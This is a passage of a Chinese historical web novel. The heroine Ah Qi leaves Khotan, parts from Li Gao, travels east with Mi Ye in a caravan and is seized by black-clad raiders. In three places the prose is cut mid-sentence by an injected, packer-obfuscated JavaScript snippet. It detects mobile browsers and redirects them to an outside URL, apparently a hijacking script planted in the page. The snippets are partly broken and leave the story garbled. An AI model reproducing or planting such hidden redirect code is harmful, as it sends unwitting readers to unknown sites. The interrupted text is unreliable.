阿依夏木瞪了她一眼,“母后封了你长公主你不做,金银之物你倒喜欢,真丢我于阗王室的颜面。”阿祇有几分喜欢她的性子了,直率不做作,不执着权力又拎得清得失,“有个女王当靠山,好像也不错!” 阿依夏木嘴角扯出一丝笑,“知道就好。” 离别在即,阿祇拥住阿依夏木,在她耳畔说:“我在菩提树下,也藏了一个礼物送给你。” 那双母亲留给她的绿松石耳钉,是第一次遇见阿依夏木她所喜爱的,也是唯一属于阿祇的东西。当王后将亲情付诸于自己身上时,她就决定真心对待这对母女。 面对这个或许是世上唯一算得上的亲人,阿依夏木扁了扁嘴,抹了抹眼角。大祭司站在阿依夏木身后,恢复冷冰冰的样子,提醒她时辰不早了。阿依夏木放开她的手,亲自帮阿祇盖上幕笠。 阿祇退到李暠身旁,二人道别:“女王陛下,保重!” 他们并肩,宛如一对伉俪有情人,阿依夏木掩下内心最后一丝酸涩,“二位也保重。” 李暠又对大祭司微一点头,全当告辞,阿祇也对大祭司微微一拜,大祭司站在女王身边,那高冷的范儿与阿依夏木势均力敌,竟也十分般配。 阿祇微笑,挥手走向马车,李暠很自然地伸手扶她上车,放下车帘,而后潇洒地跃上稷牵过来的白骆驼,一行人背对落日的方向离去,明明与扮作他的夫人时的仪仗一模一样,然而站在局外人的立场目送他们,让人不禁怅然若失。 如果自己不是女王,是不是这一切,就有可能属于自己? 车中的阿祇摘下幕笠,换下汉式裙子,穿上已准备好的胡服。打量了一番,她松散王后为她卷好的发髻,绑了一个团子,这才打开阿依夏木送她的包袱。映入眼帘的是沉甸甸的袋子,打开一看满满都是金叶子,这大概就是她说的“缺什么就给什么”,行事风格很阿依夏木。 袋子下面压着的是阿祇的那些宝贝,玄令牌、龟壳、沮渠匕首和衣物,当然少不了吃食水囊,还有一个丝绸包裹的的硬物,打开竟是一枚金镶玉戒指,内侧刻着“伽蓝”,外圈环绕王室徽标,这是于阗长公主身份的象征。 阿祇失笑,随之而来的是一阵感动。 阿祇拉开帘子,看着前方不远处骑着白骆驼的高大身影,轻唤:“玄盛。” 高大的身影回过头,放慢了白骆驼的脚步与阿祇车马同行,“于阗一行,阿祇可还有疑惑?” 阿祇微微一笑容颜更盛,释然的绽放与斑驳光线交相辉映,直视一旁的男子,直言道:“王后曾说,于阗王本欲与吕光一决生死绝不投降,我以为玄玉阁会置身事外,亦或者……渔翁得利?” 李暠寻着目光看来,相隔咫尺,四目相对。 “利 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14927412|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?我看到过人命在战乱中顷刻失去,精美的佛宇殿宇瞬间坍塌,战争所至,或许有得利的个人,却从没有真正得利的一方。至于玄玉阁,无关名利,只有值与不值的选择。” 阿祇并不完全理解他的话,忽而李暠反问道:“于阗已无虞,女王的提议或许是个不错的选择,阿祇为何不愿留下?”她略微迟疑,难道李暠也劝自己留下来作米虫?不等她回答,旁边的男人嘴角轻轻一动,自嘲道:“己所不欲,勿施于人。” 阿祇也随之一笑。 她明白他的好意,也感激他的尊重,熠熠的双瞳对上白骆驼上的李暠,随即又飘向远方的长河落日。“蓝毗尼宫十分华美,却不如这广袤天地的波澜壮阔,西域和中原的经书古籍、贤者大儒,三十六国风采华美,大漠关山古道奇景无数,我听说敦煌开凿了许多藏经洞,番邦佛法大师皆往之布道,我也很想去看看。” 这位大唐李氏王朝的先祖李暠,史上有名的读遍经史,气度优雅,沉静聪慧,宽厚谦和的宗室子弟,并不像传说中能在五胡乱华那段史学家都不愿多提及的至暗时期,走出来开创西凉大漠国度的雄才君主,他明明更可以效仿偏安江南的谢氏兄弟,隐居东山,谈笑静胡沙,却偏偏选了一条艰难之路。 阿祇想起一个俗气的问题,趁机又问:“玄盛,你的梦想是什么?” 这是第一次有人问他的梦想,而非是筹谋。 李暠不由对上女子清净的眼神,有好奇探究,也有聪慧执着,让人不由郑重回道:“不分族裔,大道为公,凡我所见皆有所养,凡我所闻世间大同。” 没想到,一代枭雄竟有乌托邦式的情怀,阿祇叹道:“人若还有欲望,世间有贫苦、歧视、不公和苦难,就不可能有桃花源般的地方。” 李暠带着疑惑看着她,“桃花源?那是什么地方?” 阿祇一愣,差点忘了桃花源是陶渊明笔下没有战乱,没有压迫,自给自足,人人自得其乐的世外之地,可惜这位东晋诗人如今尚为江陵一少年,游好六经。 她清了清嗓子,一本正经扯谎,“我甚喜桃花,年幼时所住之处落英缤纷,那里是记忆里最美好的地方,大抵像你刚才所说的。” 她希望能蒙混过去,李暠不愧聪慧之名,淡淡一笑,“听闻楚地多有桃花盛开,若有幸,玄盛愿有一日,到阿祇的故乡去看看,那是何等怡然自乐的风光。” 阿祇背脊出汗,她大概有点放飞自我了,尴尬一笑,说:“玄盛志向高远,阿祇不如。” 其实她想说:远方有的人前行,有的人倒退,就像于阗两位君主走的路,梦想往往是无法企及的高度,明知徒劳,可是做了与不做,又是两种不同的心境。 李暠见她若有所思,大概听出她言语敷衍。 “道之将行,命也;道之将废,命也。对玄盛而言,不计成败,遵从内心,便是知命。” 阿祇似乎看到了这个人的内心,至少有一角是纯粹的,诚恳致歉:“是我言语不周了,子曰五十才知天命,玄盛颇有几分少年老成。” 李暠眼神中闪烁着光芒,“阿祇,共勉。” 二人心有灵犀,开怀大笑。 42. 大漠统一 九月初到,秋寒料峭,大漠的胡杨叶金灿灿一片。 阿祇和玄盛同行的路途不长,玄盛眼中的祖慕祇,不是精绝国传说中的神女下凡,她很平凡也不平凡,宁作书吏,不为公主,重情重诺,志在远方,可惜他们相遇在不平坦的征途,不同的命运交错,终又堪堪错过。 玄玉阁有对于阗的承诺,阿祇已经走完了在这里的旅程,并不打算再回王宫,蒙面穿甲的三十六骑护送她来到了白玉河畔的岔路口,一行人绕开宽阔平坦的官道,人群来得快,散的更快。 玄盛骑着白骆驼,与阿祇相隔不远,长河落日,千里送君终须一别。 朴素装扮的阿祇背上包袱跳下车,笑着迎着白骆驼而来,正如他们第一次相遇的那样,她对白骆驼之人行了大漠的礼仪,然而这次李暠并没有像第一次分别时,端坐在白骆驼之上岿然不动,他缓缓下了坐骑,牵着白骆驼朝阿祇走近,淡淡问:“此去东行,可知路线?” 阿祇用手指点了点自己的脑袋,“记在这里了。” 李暠的身量很高,阿祇不得不抬着头看他,他修长的手指轻抚了抚白月脖颈柔软的毛发,然后看着阿祇轻道:“帮我照顾好白月,它会带你去你想去的地方。” 阿祇略微吃惊,轻轻抚上白骆驼柔软的毛,“原来你叫白月。” 玄盛的手指也安抚白月柔软的脖子,将缰绳放进阿祇手中,声音温柔地说:“白月走过大漠里的每条道路,不要拒绝,如果你迷路了,它会带你找到归途。” 阿祇没有拒绝,她很感激这个人没有开口挽留,却送上远行的祝福。 她握紧白月的缰绳,骆驼的背脊上已有准备好的远行物资,“多谢。” “有人会在东城门口等你,出城有玄玉阁的驿站,日后遇到难处,聪明的小娘子该知道去哪里求助。”阿祇的目光望着他的眼睛,这一次竟然生出离别的感伤。 “山高水长,玄盛,这是我们第三次离别。” 玄盛为她戴上兜帽,修长的手指温柔地系上缎带,“希望也是最后一次。” 玄盛在放下帽帘的瞬间,手指点了下她的额头,如蜻蜓点水般的短暂,隔着帽帘与阿祇告别。 “日落天凉,阿祇一路珍重。” 阿祇目光无法对视他的双眸,睫毛上笼罩阴影,仿佛回到二人飞鹰传信的日子,阿祇隔着纱幔终于敢面对玄盛的凝视:“前路迢迢,玄盛,山水好相逢。” 说完,她踏上白月跟他挥手。 一人孤身立在原处,一人潇洒转身旅途。 女子像自由的风,不被情愫束缚,追逐想要的命运。阿祇捋捋白骆驼柔软的鬃毛,眺望无尽大漠,有种前途尽宽的豪迈,她默默对他的骆驼道:“白月,白月……”她微微一笑,心绪回归平静:“带我走遍你陪主人走过的路,带我好好看看这世界吧。” ………………………………………… 涓涓溪流声,微风吹散午后的秋老虎热浪。 一个胡服女子独自骑着白骆驼来到和田城门。 白月果真是神驹,很快便载着她回到东城门,这里城门大开,新任女王的旨意已经传到,于阗向大秦称臣,并未引起城中什么动乱。和田城解除了封禁,盘踞狯胡人尽数离去,吕纂的大军已经进入和田城,城门暂由女王的亲卫兵把守,对往来的客商驼队一律放行,大秦的汉兵进出亦无碍,但仍有一部分驻扎在城外,气氛与之前剑拔弩张的情形有了天壤之别。 东城门的守将身材有点发福,可惜阿祇并不认识这位,正是李暠曾经的好友——库马尔大人。他已经从采备官员升职新任校尉,一见白骆驼的身影,便不由得激动地朝着这边小跑而来。 “夫人,可是辛夫人?”库马尔边跑边招手。 阿祇四下看了看,确定他在和自己说话,白骆驼轻盈地朝城门口走过去,守卫们早已严正以待迅速清理出道路,库马尔一个眼刀,守卫们齐齐低头下跪,他们都是女王的亲卫,十分训练有素懂规矩。阿祇放下兜帽,脸上的面巾仍然遮盖住大部分五官,眼神略带困惑,打量走近她的人。 “这位大人,您是?” “在下库马尔,是玄盛的老友……” 话还没有说完,一只狗子摇着尾巴,汪汪地变戏法似的不知道从哪里窜了出来,朝着白骆驼疯狂转圈圈。阿祇又惊又喜,赶紧拍拍白月的脖子,白月前膝跪地,稳稳放下新主人。 “努尔?” 努尔一下子扑进阿祇的怀里,主仆总算重逢,阿祇拉下面巾,与努尔热络一番。 自从传闻中的辛夫人入城,从未有人见过其阵容,这下库马尔算是托了一只狗的福,看清楚了这位辛夫人的真容,年轻的女子笑颜如桃花,眼神温柔坚毅,额间有朱砂,气质当真比雪山清泉沁人心脾,夫人穿着与玄郎君同款的胡服,天生一对璧人,库马尔心潮澎湃,仿佛吃到了七月最甜的蜜瓜。 “玄盛果然是有福之人,也只有夫人配得起玄玉阁主母之名。” 库马尔努力着用词穷的汉文奉承,还没等“辛夫人”发话,又一个激动的吃瓜群众飞奔而来,“夫人……”这带着哭腔的甜美声音,来人不是米耶,又是谁。 米耶迅速跑到阿祇面前,扑通一下,跪在她面前声声喊着:“谢天谢地,夫人你安然无恙。” 阿祇没顾得上他们的称呼,惊讶道:“米耶,你怎么瘦成这个样子?” 眼前的小娘子,哪里还是当初那个甜美可爱的女孩,人不止瘦了一大圈,皮肤也黑了不少。米耶重重地磕了一个头,她采玉祭那夜弄丢了阿祇,又从阿嬷那里知晓了阿依那在宫里,正在看守她们的恩人,她是个聪明人大概猜出了前后,不肯起身地对阿祇跪拜:“我们对不起夫人。” 阿祇知道她说的“我们”是指阿依那,那个本该已经逃脱采女身份远走高飞的女子,谁想到命运弄人,最终依旧没有逃离悲惨的命运,看来有时间她们该好好谈谈了。 “起来,米耶,谢谢你照顾努尔。” 阿祇想搀扶她起身,米耶执拗地又磕了一个头,“我求了家主,米耶愿意陪您一起上路,求夫人收留。”米耶母亲和亲阿姊相继离世,她孤女一人,阿祇没有拒绝她的追随,“还是叫阿姊吧。” 米耶惊喜地抬头,眼前的人是自己认定的主人,不管是夫人还是阿姊,都要一生跟定的人。 城门这边限制人来人往,二人不方便叙旧,团聚总归是开心的事,库马尔一咬牙,胖胖的身子又凑了过来,讪讪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿祇颇为郑重,“确实有件事情……” 米耶为何知道祖慕祇的秘密?又有多少人知道这个奇怪的传说?一直是她的心结。于是她问道:“无论是辛夫人,还是祖慕祇,故事多了分不清真假,米耶,你知道我根本不是什么神祇吧?” 米耶又要跪下,被阿祇及时阻拦,米耶懊悔自己以前实在鲁莽,如今后悔莫及才开口说:“是我偷看了宋掌事与家主的书信,以为阿秭是……是精绝国救苦救难的神祇转世,阿秭血肉之躯,为了救我们差点丢了命,我和阿依那对不起阿秭。” 阿祇语气遗憾,“阿依那的事……” 米耶却没有她想象的悲伤,接着说:“郭管事告诉我阿依那死了,她本可以活着,但却死了。” 阿祇一声叹息,“人,有喜怒哀乐,贪嗔痴妄,生老病死,过去的事就让它过去吧。” 米耶放下心中大石,人也明朗起来。 “阿秭,我会永远跟着你。” 阿祇拍了拍与她并排的米耶肩头,十四岁的如花年龄,前路该是漫长而精彩的,“等你长到我这个年龄,说不定已有了自己的路,米耶,记住你永远是自由的。” 米耶若有所思,湿了眼眶。 阿祇回头再看这座古城,心中涌出复杂的情绪。于阗国,奇迹般地在多方势力斡旋之下,终究没有流血屠城,有惊无险的归顺,宣告了吕光对大漠的统一。 43. 辛夫人 俗话说,她不在江湖,但江湖上却有她的传说。 关于玄玉阁的辛夫人,她那响彻大漠的传说,大概就是从这时流传开来。 传说中,辛夫人是中原李氏士族给李暠原配的正妻,千里西域奔夫,从中原调度粮草救于阗于危难之际,女王与之结拜金兰,先王后亲封伽蓝公主,蓝毗尼宫为其封殿以待,恭候天降吉祥的长公主。有人说她容貌清丽绝伦,大义低调,也有人说她其实是老于阗王流落在外的私生女,女王敬之亲姊,玄郎君待之如珠如宝,金屋藏娇。待于阗平定,传闻中的辛夫人功成身退,已返回中原。 阿祇在驿站休憩了一日,米耶已转述了无数传言。 一早,当阿祇一看到这些从王宫里逃出来的熟人,聚集到了城外驿站,心里就有了新想法。 她留下“安好”的字条后,便从驿站消失了。 米耶不解地问:“阿秭,为什么咱们要混进这杂乱的商队里?” 二人混在一队商旅之中,骑着骆驼即将进入大漠。 阿祇穿着胡服,嚼着胡饼,骑着骆驼,画了暗沉的面色,颇有几分胡商的样子,她喝了一口水囊里的水,笑着对米耶说:“商队里有熟人,又顺路……” 她看了下四周,商队是临时的草搭班子,零零散散几个破落的贵族商旅,无精打采地围着火堆三五成群,自从和田城解封他们都是被释放出来的,破破烂烂的装备,一路向东,准备去中原碰碰运气。 她和米耶相依为伴,令人惊喜的是米耶居然有武艺傍身,她将一把小巧圆月刀交到阿祇手中,“阿秭,这是家主让人为你专门打造的兵器,驿站的店家说精铁打造废了些时日,才做好送过来,我学过几套刀法可以教你。” 阿祇接过圆月刀,刀身能一分为二,纹路精美,十分趁手。 米耶知道阿秭靴子里藏着匕首,不知道来历,可明明圆月弯刀更实用。 “近身打斗,还是刀来得更快,尤其对女子来说,双刀耍的好,攻击防守可兼备。” 米耶双手舞了一下烧火棒颇有气势,没想到竟是个低调的武功高手。阿祇心中想起那个白衣身影,人不在身边,心意却满满。 “刚离开驿站,尚有有那么多的眼睛盯着,一旦进入沙漠,又不知道要碰到多少麻烦。” 阿祇收好刀柄,这几日难得的太平,努尔喜欢依偎在白月身边,白月起出高冷得很,努尔不敢靠得太近,走入沙漠,它们相处地越发和谐起来。 米耶是随从打扮,白净清秀,一看就是小娘子。 她顺着阿祇的目光,看到高冷的白月现在的样子,扑哧一笑:“阿秭要的那些香料,没想到还能染色,白月自从变了身后,真是气度不凡。” 若无其事嚼着草料的白月貌似听懂了,瞪了她一眼。 在离开前,于阗官道上的驿站后院她们被掌柜奉若上宾,阿祇让米耶从驿站店家那里要了些药材,其中就有不少郁金和姜黄。阿祇解释:“郁金,味辛、苦,寒,无毒,可以生肌止血,但古籍上也记载,郁金,染黄也,所以才让你和掌柜多要些,除了自用,也是为了给白月来个漂染。” 米耶听不懂,就是觉得很高深,阿秭最有本事。 她转念想到:家主如果知道白月被涂成了这个样子,会不会让人扒了我的皮?她心虚地看了眼白月,正好对上白月带着“杀气”的眼神。与此同时,阿祇也在看焦糖白月玛奇朵,多么低调的奢华。 她拍拍白月微笑道:“你看,白月也很喜欢。” 米耶看了眼奢华版的新“白月”,头皮又紧了一下,阿秭从哪里看出来白骆驼很喜欢的?这不是重点,重点是家主若知晓,真的不会扒了她的皮么? “阿秭,你说我们不告而别,家主不会生气?” “不会。”阿祇想了想,又没底气地说:“……吧。” 米耶炸了毛,“我觉得,那个,我们还是赶快回去。” “我们越低调上路就越安全,既然已经决定离开了,没必要犹犹豫豫的。” 阿祇收起圆月刀,眼神看向另一边的人群。 米耶也看过去,小心地对她说:“阿秭,那个是疏勒的王子阿扎提,那边的是高昌的贵族,还有氐族的人……他们都曾被诺伊软禁在北苑,如今被放了出来都不敢回国?” 阿祇对其中的一些人还有印象,她化身小侍女曾给这些人送过饭,见过他们最狼狈的样子。 “他们的故国大多出了政变,君主任吕光摆布,这些人是打算去中原讨点便宜。” 临时联合起来的驼队在绿洲休息,大漠的秋季风沙大,他们打算提前扎营休息,商队的人多是大难不死的贵族,仍心有余悸,见她们两个小娘子懂些医术又手脚麻利,暂时无人难为她们。这里的古人习惯一日两餐,朝时饔,夕时飧,米耶端着炊盘过来,阿祇已经搭好帐篷,商队休憩得早,众人免不了还要闹腾一会儿。阿祇手中有很多药草,这几天她研究了几个古方,对改变肤色和防风防晒的妆容颇有心得,免不了又拿自己的脸做实验。 “米耶,看看我这眼线画的凶不凶?” “阿秭,你这是做什么?” 米耶见阿祇往脸上又花了几笔,“白日阳光太盛,我们虽然有兜帽和面巾,但还是会有反射光折射眼睛,我想试试这个办法管不管用。米耶,来,你也试试。” 米耶顺从地任她折腾,她有点担心地问:“阿秭,我们会遇见征西军的残兵吗?” 苻坚南下出师不利,现在正是秦朝野动荡的时刻,阿祇也给米耶眼底画上黑线,抬着下巴认真比对她的小脸,道:“吕光的大军应该已经入了玉门关,不用担心,反倒是另一个势力比较麻烦。” 米耶紧张地说:“阿秭说的是什么?” 阿祇给了她一个嘘的口型,迎面走过来一个人。 阿祇熟练地生火做饭,不再多谈。 米耶人机灵,从驿站搜罗了大量药材和吃食佐料,一路上阿祇和努尔一起打猎,食材没有多少困难,米耶的厨艺不错,又会说多种西域语言,她们跟几拨人相处下来,越发融洽。她们刚烤好一只兔子,那个阿扎提就喊了声。 “喂,小娘子,给本王子分一半如何?” 他不敢直接来抢,归功于米耶前日的一拳头,昔日的王子现在是他们这行人食物链的底层,一无财帛权势,二无生存技能,他原本想返回疏勒,不过吕光收复西域后,扶持了他的王兄上位,西域诸国权力大洗牌,像他们这些逃亡的贵族,处境当真尴尬。 阿祇将一只烤熟的兔腿扔给他,道:“阿扎提,给我们唱支歌吧。” 几日来,表演歌舞是疏勒王子阿扎提习换取她们食物的方式,作为富贵奢华的王室纨绔,他在享乐的成长中熏陶了不少才艺品好,起初阿扎提哼唱被阿祇称赞,他以为她们在作弄取笑他,后来他才发觉阿祇是真的喜欢听他唱歌,听到他歌曲时的惊艳神情,甚至让阿扎提得到了莫名满足。 “想听什么?” “你唱的都好听,冬不拉也弹得好。” 阿扎提看着眉毛格外出戏的两个女子,尤其阿祇脸上充满期待的样子,得意洋洋地给身边一个侍从了个眼色,那人赶紧取来拨片和琴,他欢快地和弦调试起来。 商旅的人们有人吹起口哨,有人鼓掌。夜晚的篝火逐渐活跃起来,众人纷纷看向这边,等待美妙的乐曲。阿扎提咬了几口兔肉,然后扔给伴奏的侍从,他围绕着火堆,边唱边跳了起来…… 月亮像个馕 从红松树林里爬上来 夜的空气里有酒的气息 还有淡淡的馕的清香 饿的时候,想抱着月亮啃一口 把它咬成弯弯的嘴唇 就像那美丽的娘子 (见注释) 在阿扎提的带动下,来自莎车的舞娘起身应和着欢快的旋律,甩起长长的发辫,翩翩起舞,她灵巧的腰身和脖颈,轻盈摆动,眼神仿佛带着魔力,将所瞟过的人儿心房都勾了去。 火光越炽烈,起舞的人儿越多。 阿祇兴奋着看着人们载歌载舞,默默将这些歌谣记在心里,经历了很多匪夷所思的事情之后,总有些意外的惊喜,让眼前的一切有了意义。他们这行人大多落魄,但是西域人豁达的心性,丰富的才华,让动乱的土地多了很多传奇。 与这片欢快热闹格格不入的是,有个角落有个蓬头垢面的身影,瑟缩在人影之后。 阿祇观察 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957333|154785||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个裹着脏袍子下的人很久,那行商队说他们是奴隶贩子,这在大漠里是合法的存在,战乱的年代与贫苦就是奴隶贩卖的温床。 “那个黑影好像在盯着我们。” 米耶凑近阿祇,“阿秭不要管闲事,那个奴隶眼中藏着凶光。” 阿祇也发觉那个奴隶眼神里的叛逆,袍子上的污渍有很多铁锈色,明明是干涸了的血渍,蓬头垢面下,奴隶的脸半肿着,与另外半边的瘦骨嶙峋形成鲜明对比。 阿祇问:“你可看得出是男是女?” “女的。”米耶肯定的回答。 阿祇吃惊了一下,她没想到米耶这孩子慧眼如炬,不由得好奇,“你怎么知道的?” 米耶直接回答:“有次小解的时候,遇到了。” 呃……大漠果然是民风淳朴的地方。 “我看她有点眼熟,就是想不起来哪里见过。” 米耶直爽地说出担忧,“阿秭,你有我就够了,千万别招惹麻烦。” 玄玉阁从不涉及人口贩卖,但收留过很多逃跑的奴隶,即便玄玉阁有强大的背景,但依旧不拖欠上门追打的贩子钱财,公平交易,买下奴隶的身契才不会留下隐患,这世道奴隶贩子存在即合理,如同很多大漠黑市,是她现在还不能触及的范畴。 阿祇收回目光,换了个话题:“我会烧兔子肉,今天要不要换个口味?” 米耶下意识点头,“好啊。” 到底是年轻,很快被阿祇熟练的做菜手法给吸引了,只见她架起小铁锅,将烤好的兔肉用匕首削进锅中,待炒出油脂,她从行囊里又翻出地瓜,削皮下锅,等油脂与香糯的地瓜相融,渐渐煎出诱人的糊咖,再撒入米耶行囊里取之不竭的胡椒和香叶料,很快香味四溢,阿扎提立刻跳了过来,凑近用力吸了吸气。 “哇好香,小娘子,不,大爷,你做的是啥?” 他对阿祇总有种似曾相识的感觉,却想不起来哪里见过,当然他也并不在乎,人生苦短,不能辜负美食美酒和美人。阿祇看了这个口水都要流出来的王子一眼,想起当初他们困在王宫北苑,她给他们送王宫厨子做的简单吃食,这些人还各种嫌弃,如今倒是不挑食了。 “干锅兔肉。” 米耶瞪着阿扎提,咬着牙说:“去去去,没你的份。” “喂,小娘子,别小气咯。”阿扎提一脸坏笑。 米耶一愣,她和阿祇虽没有故意隐藏身份,但明眼人都看破不说破,行走在外,不问他人因由际会,是不成文的大漠法则,哪有上来就说破的。 米耶拿起弯刀,抵着阿扎提的厚脸皮,“滚!” 阿扎提也学会了圆滑,忙诚恳地对米耶说:“好歹是熟人了,本王子不能整天喂喂地喊吧,不然你教我,怎么称呼?” 米耶看不惯他,哪怕这人是个王子? “我叫阿祇,她叫小米。” 出行在外,多个朋友比多个敌人好,显然阿扎提也没有认出当初假装小宫女的她。 阿扎提早没了王子的派头,几日来没少混吃混喝,唱歌,跳舞,只要众人喜欢的,他不介意讨好大家,来换取物质和保护。彼此达成了某种默契,阿扎提也是个人精,他看得出这两个出手阔绰的女子,阿祇应该是主子,他不敢轻易靠近,不过这个小米,也有几分意思。 “小米美丽大方,既有美食,哪能少得了美酒,等我去拿……”说着,也不端着王子的架子了,屁颠屁颠地跑了回去,翻出一壶酒,又屁颠着跑了回来。 “美酒来喽……”他开心地喊着。 其他人虽也有心过来,但都有点不齿阿扎提的行径,好歹也曾是个王子,怎就为了一锅兔肉丢了王室脸面,不过……那锅肉,真的香!阿扎提邀请了自己与她们一道享受,自顾自夹出一块兔肉,给她们各倒了一杯酒后,对着酒坛自饮了起来。 酒过三巡,歌舞更盛,众人都放开了饮酒作乐,今朝有酒今朝醉,哪管明日忧与愁。 有人醉倒,有人酣睡,阿祇给身边的米耶盖上被子,将温火上热着的吃食装出,在夜色中走到离火焰最远的角落,放在蜷缩成一团的奴隶身后,然后默默离开。 没多久,那团黑影朝食物和水,悄悄伸出手。 44. 不速之客 第二日,天色微亮,很多人还宿醉未醒。 手脚勤快的商队早已经开始打包营帐,他们一行人是自发凑在一起的几十人。这片沙漠很难走,午后温度太高根本无法上路,万一脱水严重,很可能倒下就再也起不来。沿途他们这一路看到过不少炭化的尸骸或白骨,大家凭借着骆驼的脚程和互相依靠,在有经验的领队带领下寻到几处绿洲休憩,驼队聚在一起还能抵御偶尔的风沙。 沙漠中赶路趁早,自然是行进速度越快越好,尤其是那个奴隶贩子,那么多的嘴要养活,路上万一死几个便是血本无归。奴隶贩子为了省钱,几乎每天就给奴隶们一口水和半个馕,几日下来已经在沙漠里丢弃了两个走不动的奴隶。 阿祇和米耶在商队靠后的商旅之中,紧挨着奴隶队伍,令阿祇意外的是出发前在骆驼旁看到一个碗,正是昨日她放在那个小奴隶身旁的那只。小奴隶身体单薄,带着毡帽披散着头发看不清脸,这几日吃了她们的食物,总小心地将空碗放回到她们的骆驼旁。昨日是她们幸运的一天,绿洲附近有灌木丛,不仅打到些小猎物,还有足够的水源补给,小奴隶大概就是在那边捡到了沙棘果,所以今天的碗里放了几粒,因着点点回报,让阿祇才更感受到微末的善心的意义,可惜她并没有能力救下她。 商队绵延可达数里,驼铃声一响,就是上路。 走在后面的贩子火气越发大,每天都挥着鞭子叫骂。 阿祇抬眼,奴隶贩子的队伍已经出发,他们的骆驼不多,大部分奴隶被绳索一个个串起,有男有女,他们只有在休憩干活的时候才有短暂的自由,带毡帽的小奴隶身影实在单薄,不过她也很聪明,尽量走在奴隶中间,这样少挨了不少的鞭挞。阿祇不能明目地帮助一个奴隶,那不仅会给她带来麻烦,也会给自己招来祸端。 米耶想起昨夜谈论的行程,问道:“阿秭,我们还要跟商队走多久?” 她们的目的地是精绝,应该很快就要改道往北,商旅中的大部分人则是往东,过了鄯善、高昌,就到敦煌了。阿祇对米耶鼓励道:“快的话今日遇见尼雅河,我们就要沿河北上,与整个驼队分道扬镳了。” 米耶来了精神,她对阿祇总是盲目的信任,只要阿秭说快到了,那就一定是快了,努尔欢快地跟着被漂染成功的“白月”身后,他好像也对这匹白骆驼很是崇拜,摇着尾巴,绝对服从跟随。 太阳升得很快,他们必须尽快赶路。 米耶和阿祇的骆驼,看起来普通,其实耐力和脚程极好,尤其是如今被漂染过的“白月”,很快便超过其他驼队,走到了最前面。阿祇有遇到狼群惨痛的经历,所以才坚持与众人一道上路。 沙漠的尽头,就是传说中的楼兰,如今的鄯善。 孔雀河的流逝,改变了一个国家的命运。阿祇原以为她没有机会,亲眼目睹楼兰国那片罗布泊最神奇美丽的存在,没想到,就在她要独自踏上北方精绝的旅程之前,驼队避开了狼群,却引来了更可怕的东西。驼铃声枯燥地伴着烈日,就在她们刚刚熬过最痛苦的午后,伴着风沙热浪,总算见到远山的形状。 只听见有人高喊:“海市蜃楼!” 蒸腾的沙漠景象,诡异地呈现一道黑色的人马。 阿祇第一反应不是海市蜃楼,有点像见到了一千零一夜里的四十大盗,神秘,冷酷,这些黑衣人没有任何盔甲,只是黑布蒙头和脸,腰间配着弯刀,他们骑着骆驼,在沙漠中好像鬼魅一般穿梭自由,很快黑色的人影,便朝散乱的商旅包抄而来,阿祇心中一惊,那夜的恐怖记忆迅速从脑海中划过,她知晓这些人是谁了——黑铁骑。 有人惊呼:“那不是海市蜃楼!” 走在领头的她们,迅速发出警报。 阿祇晓得厉害,“大家小心,这些人杀人不眨眼。” 逃跑肯定不是什么好主意,商旅混杂,优势和劣势都是人多,黑铁骑看起来不过一小队,这些黑衣人的弓马又快又狠,阿祇害怕,又有些激动,再次遭遇黑铁骑,会不会意味着,她离找到善爱和沙迦牟韦更近了一步? 很显然,阿祇的示警并没有什么作用。 商旅中的人有尖叫的,有发呆的,更多的人四下逃窜,不消片刻,商队没有集中起来,反倒溃不成军。米耶小脸惨白,驱使着骆驼靠近阿祇,急促地说:“阿秭,我们赶紧逃。” 阿祇紧紧拉着缰绳,“不行,这里是沙漠,跑得再快,也跑不过黑铁骑的箭。” “那怎么办?”米耶急切。 阿祇拉着缰绳掉头,指着一座小沙丘,“别急,先躲起来。” 阿祇拉着米耶,躲在一堆行李之后,快速地想着对策。 黑衣人朝着四散的人群射箭,他们人数不多,箭法却狠辣无比,很快跑得最远的一圈人,皆被一箭毙命,相继倒地。黑衣人如戏弄猎物一样,等人们四散稍远又发射一波攻势,再次无一幸存。仓皇而逃的奴隶中,最弱小的小女孩逃跑的背影,迎来一个骑马黑衣人的弯刀刀锋,阿祇顾不得暴露身份,袖箭瞄准射出,刚好刺中黑衣人的手臂。 混乱之中,小女孩并没有发觉与死神擦肩而过,可转身间又被另一个黑衣人一刀毙命。 阿扎提这些贵族们跑得慢,干脆跪下来求饶:“我是疏勒二王子阿扎提,求,求你,放过我。” 没想到,那黑衣人竟擦着他飞奔而过,没有痛下杀手。 阿祇带着米耶藏身沙丘之后,灵光乍现,沮渠蒙逊曾提到黑铁骑不杀西域王室。想到这,她手忙脚乱在身上翻找,扯出了一枚戒指。正在这时,一把圆刀架在了她的后脖颈上,惊得她脱口而出,“于阗伽蓝大公主在此!” 圆刀停在她的后脖颈上传来冰冷之意,她后背生出冷汗,等待死神降临。 这时,一个声音冷冷道:“带过去。” 